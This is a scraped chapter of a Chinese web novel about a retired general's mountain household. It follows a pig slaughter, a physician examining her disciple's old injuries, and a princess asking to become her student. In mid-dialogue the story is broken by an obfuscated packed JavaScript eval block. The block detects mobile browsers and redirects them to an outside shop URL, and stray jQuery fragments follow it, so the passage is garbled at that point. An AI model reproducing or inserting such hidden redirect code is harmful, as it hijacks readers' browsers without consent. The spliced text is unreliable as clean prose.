49. 欢声

作品:《假死后,将军改行了

    虽然肖鸣空痴于习武,疏于人情世故,但他依然将这所院子打理得井井有条。


    前院里有一口井,是他找匠人慢慢打出来的,据说井底都是石头,有一处山泉的泉眼在石壁上,汩汩地往外冒着山泉水,那泉水甘冽清甜。


    院子的西侧是一块菜地,用于种植各季的瓜果蔬菜,白羽从外邦带回来的作物也种了一些,方便随吃随摘。院墙外面则种了几棵果树,苹果,桃子,大枣,柿子等常见的各种了一两棵,只不过现在这个季节都只剩了秃秃的枝丫,菜地上也只剩一层白霜。


    后院的院墙是用青砖砌成的,近两丈高,里面饲养着猪、羊、鸡、鸭等牲畜和家禽。前些年家里只养了鸡和鸭,猪和羊是白羽从战场上回来后才开始饲养的。


    没办法,白羽这丫头爱吃,而且按照她教的方法养出的猪味道极好。县城里的羊肉价格昂贵,自家养的肥猪,杀一头就能吃好久,于是肖鸣空心甘情愿跟在自家宝贝徒弟后面,每日将后院打扫得干干净净。


    “这猪现在就杀吗?”陆昙站在猪圈外,惊讶地望着里面正卧着睡觉的四头肥硕的大猪。


    肖鸣空提着杀猪刀走来,恰好听到她的问话,应道:“嗯,今天先杀一头,用来置办酒席和平日里吃,年底再杀一头。”


    随即他又吩咐道:“雁儿,你带他们几个先去前院,师父这就把猪杀了。”


    “好的,师父。”话音刚落,白羽便要带着几人离开。


    “等等!”肖鸣空忽然开口。


    白羽转过身,问道:“怎么了师父?”


    肖鸣空立在猪圈前,目光在在场的几人身上逡巡了一遍——魏关明还坐着轮椅,楚繁霜是他未来娘子,陆昙是公主,杨溪亭是个娇滴滴的女娃儿,算下来能帮上忙的,也就只有自家徒弟和燕清了。


    “你先和燕清丫头一起,帮师父把猪绑起来。”


    “……要不去山脚下喊几个护卫上来帮忙?”陆昙望着那头呼哧呼哧直喘的肥猪,犹豫地建议道。


    白羽刚要开口说不用,肖鸣空却已一口应下,她知道这是师父对她的疼惜。于是,她转身回屋,取出了自己研制的信号烟花。上山前她曾特意交代那些护卫,若有事召唤,便会以此为号,当时还专门燃放了一枚,让众人记下烟花的样子和响声。


    山脚留守的护卫看到信号后,仅用一刻钟便赶到了此地。


    他们本以为出了什么要紧事,一路匆匆赶来,没成想竟是被叫来帮忙杀猪的,一时间愣在原地,竟不知该作何反应,松口气的同时又有点哭笑不得。


    此时已经用过午饭一个时辰,天色还早。趁着他们杀猪的间隙,楚繁霜将白羽拉到了她的药房里,陆昙见状也跟了进来。


    这间药房是她来到此地后新盖的,高高的药柜占了大半的地方。这药柜里有一半药材是她从鬼隐山所带,其余则是她这几年从周边买来的。


    “我给你把把脉。”楚繁霜示意她坐下,将手放到脉枕上,陆昙则站在一边仔细的看着。


    白羽听话地伸出手,眼睛弯着,“谢谢师娘。”


    楚繁霜搭上她的脉,抬眸掀了她一眼道:“先别急着谢,且让我看看你离开的这段日子都做了什么,再与你计较。”


    闻言,白羽摸了摸鼻子讪讪地笑了几声,便安静地坐在那里,闻着满室的草药味,等待着师娘的发落。


    不到半刻钟的工夫,楚繁霜便收回了搭在她手腕上的手。


    “旧伤复发,这段时日需好生调理,八卦步和破云枪属刚烈功法,就算痊愈之后,也尽量不要再用,知道了吗?”


    尽管楚繁霜清楚以白羽的性子,若真到了需要与人厮杀的那一天,她终究还是会动用这两门功法,但该叮嘱的话她依旧得说。这样至少能让她不随意使用这两门功法,除非迫不得已。


    “谨遵师娘的话。”白羽正经道。


    “你要是能听话就好了。”楚繁霜瞥了她一眼,随手将脉枕收了起来,站起身,“我去给你抓药,熬药的活你自己来。”


    “好的,师娘。”白羽点头应道,随即站起身来,不过她并未走向药柜,而是朝着摆放着数个煎药锅子的架子走去。


    陆昙则跟在楚繁霜身后走向药柜。她此行本就是为了向楚神医学习医术,自然要从点滴小事做起。


    与墙一般高的药柜上,全是密密麻麻的小格子。楚繁霜站在一个小梯子上,拉开抽屉,取出了一些药材,放到了腰间挂着的布袋子里。


    “楚神医,我来帮您取吧。”陆昙看着站在一人高的梯子上的楚繁霜,颇为担心。


    虽然不清楚这位公主殿下为何要跟着自己,但她还是回应道:“公主殿下不必管我,你不知道每味药材的取量,还是我自己取方便。”


    “楚神医,您不必唤我公主,我与白羽姐姐情同亲姐妹,您这么唤我太见外了,您直接叫我昭乐就行。”


    闻言,楚繁霜低头看向她,见她一脸真诚,而且来到此处也没有摆过公主的架子,甚至还让跟着的护卫帮忙杀猪,于是她笑着开口:“行,那我就不客气唤你‘昭乐’了。”


    “应当如此才是。”陆昙双手紧紧扶着梯子,用力稳住不让它晃动,仰头笑着应道。


    听到她的话,楚繁霜没有作声,只是低头望着她,微笑着点了点头。


    楚繁霜爬上爬下的取药材,陆昙在下面尽职尽责地扶梯子,二人配合的相当默契。直到取完了所有需要的药材,楚繁霜才若有所思地问她:“你是不是找我有事?”


    不是她多心,而是这位公主的行为实在太奇怪了。就算她与白羽是情同手足的好姐妹,也不至于纡尊降贵地一直跟着她这个师娘。难道是她家里有人病了,连御医都束手无策?


    “嗯……”陆昙站在原地,犹豫着怎么开口。


    今天她们彼此才是第一次见面,贸然提出要跟其学习医术,多少有些冒昧。


    瞧着她犹犹豫豫的神色,楚繁霜温柔一笑,握着她的手臂,向一旁摆放着杆秤的桌子走去。


    “不必不好意思,你也说你跟雁儿情同姐妹,有话可以直接同我说。”


    得了她这句话,陆昙这才终于鼓起勇气说道:“实不相瞒,我确实有话要跟楚神医说……”


    闻言,楚繁霜露出了一个果然如此的神情,她将药材放到秤的托盘上,边称量药材边柔声说道:“说吧,我听着呢。”


    “我想跟楚神医学习医术,我能拜您为师吗?”陆昙索性一口气把话说完了,然后站在那里用一双明亮澄澈的眸子眼巴巴的望着楚繁霜。


    “拜我为师?”这个答案倒是出乎楚繁霜的意料。原来不是家中有病人,而是想随她学习医术,倒是有趣。


    “是。”陆昙回答。


    瞧着她坚定的模样,楚繁霜挑眉道:“你看我现在都没有收一个弟子,便知我对弟子的要求极高。”


    话虽如此,但楚繁霜至今尚未收徒,并非因为她对弟子要求极高,而是此前她压根没有想过要收一名弟子来传承自己的衣钵。


    这真实原因自然不能跟陆昙说。


    “请问楚神医对弟子有何要求?”陆昙问。


    楚繁霜:“……”她哪里知道有何要求,她就是那么随口一说。


    沉默半晌,她放下手中的杆秤,回身从身后的书架上抽出了一本厚厚的书递给了陆昙。


    “这是草药大全,你何时将其全部记下来,何时再找我谈拜师的事情。”


    陆昙翻了翻手中的书,这书的厚度足有一寸多,里面除了对草药的文字描述,还有草药对应的图形,甚至还列出了相似的草类,方便学习的人分辨长相相似的药材。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116206|192239||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好,谢谢楚神医,我一定好好记诵。”陆昙将书合上,紧紧地抱在怀中,看那眉开眼笑的模样,应是甚是开心。


    白羽将炭火点燃,便端着药罐走了过来,望着陆昙那副喜滋滋的模样,她忍不住打趣道:“小公主这下开心了?可是找到自己人生的方向了?”


    “白羽姐姐——”陆昙走到她身旁,靠在她的肩膀上,拽着她的衣袖,身子左右扭了扭,带着撒娇的语气喊她。


    听着她娇滴滴的声音,白羽装模作样地搓了搓胳膊,故意说道:“别冲我撒娇,这套对我可不管用。”


    “就要冲你撒娇,就要冲你撒娇!”陆昙仰着头,脸上带着得意的神情说道,“白羽姐姐最吃这套。”


    白羽眼含笑意地伸手摸了摸她的脑袋,觉得她这时才是一个十八岁的姑娘该有的样子。她这个年纪要是放到她梦里的世界,也不过才上高中,还是个学生呢!


    “那就好好去背书!”


    说完,她便转头伸着脑袋往楚繁霜跟前凑,“师娘,药材配好了吗?”


    “好了。”楚繁霜把旁边的一堆药往她跟前推了推,“这张纸上的就是,剩下的我会包好放在这儿,是七天的量,每日一包,每天喝两次。七天后我再给你把脉,根据恢复情况调整药方。”


    “好的,谢谢师娘。”白羽狠狠地抱了一下师娘的肩膀,然后才将药材装进药罐里,乖乖去熬药。


    就在这时,燕清和杨溪亭走了进来。燕清见自家主子正坐在火炉旁扇着小扇子,连忙走过去,接过了白羽手中的扇子道:“主子,我来熬药。”


    白羽一边起身,一边向两人问道:“猪杀好了?”她实在有些不解,这两人怎么会对杀猪这么感兴趣。


    “杀好了,很简单。”燕清回答,“等回到安都城,府里若是杀猪就由我来杀,主子想什么时候吃就什么时候吃。”


    听到她的话,白羽往桌边坐下的动作地一顿,而后笑着开口道:“想在府里养猪?养两头倒也不是不行。反正宅子够大,日后想吃肉时,直接宰杀便是。”


    “归雁姐姐我也学会了,就是我力气小,可能杀不了猪。”杨溪亭蹲在火炉旁,伸着两只手边烤着火,边撇嘴道。


    “你学杀猪做什么?”白羽望着她好奇地问道。


    杨溪亭蹲在那里,仰头冲她一笑,有些不好意思地回答:“我这不是想着姐姐你有个养猪的庄子嘛,到时候我也能去帮帮忙。”


    闻言,白羽无奈的摇了摇头,对着她遗憾道:“养猪那边你就别想了,庄子上人多的是,还差你一个姑娘不成?你就老老实实跟着秋娘学,先给她打下手,等你能独当一面的时候,再想其他。”


    “好的,我知道了归雁姐姐。”杨溪亭望着她甜甜一笑。


    楚繁霜一边包着药材,一边听着她们说话,想起午饭时提到这姑娘前不久的遭遇,于是开口说道:“溪亭姑娘的伤如何了?需不需要楚姨给你瞧瞧?”


    听到师娘的问话,白羽才想着还有这回事儿,连忙道:“麻烦师娘了,她这一路从平阳到安都吃了不少苦,又挨了打,也不知留没留下病根。”


    等到楚繁霜将所有的药包好,这才带着杨溪亭到了药房里间,除了把脉还要查看一下她身上的伤。


    杨溪亭身上的伤大多是外伤,此时都已愈合,只是留下了大大小小的疤痕,每日涂抹祛痕膏会慢慢淡化。除此之外便是她的身子有些亏损,也需要好好调理一番。


    山上的日子岁月静好,山下平阳县城里却是翻了天。


    县令全家被抓下狱,王捕头的儿子身陷囹圄,杨家家主变卖亲生女儿——这几件事不过一个下午,便已传遍全城,闹得沸沸扬扬。


    此时,王宏义的父亲——也就是杨家夫人的兄长王满江,刚从县衙大牢探望儿子出来,便急匆匆地往杨家赶去。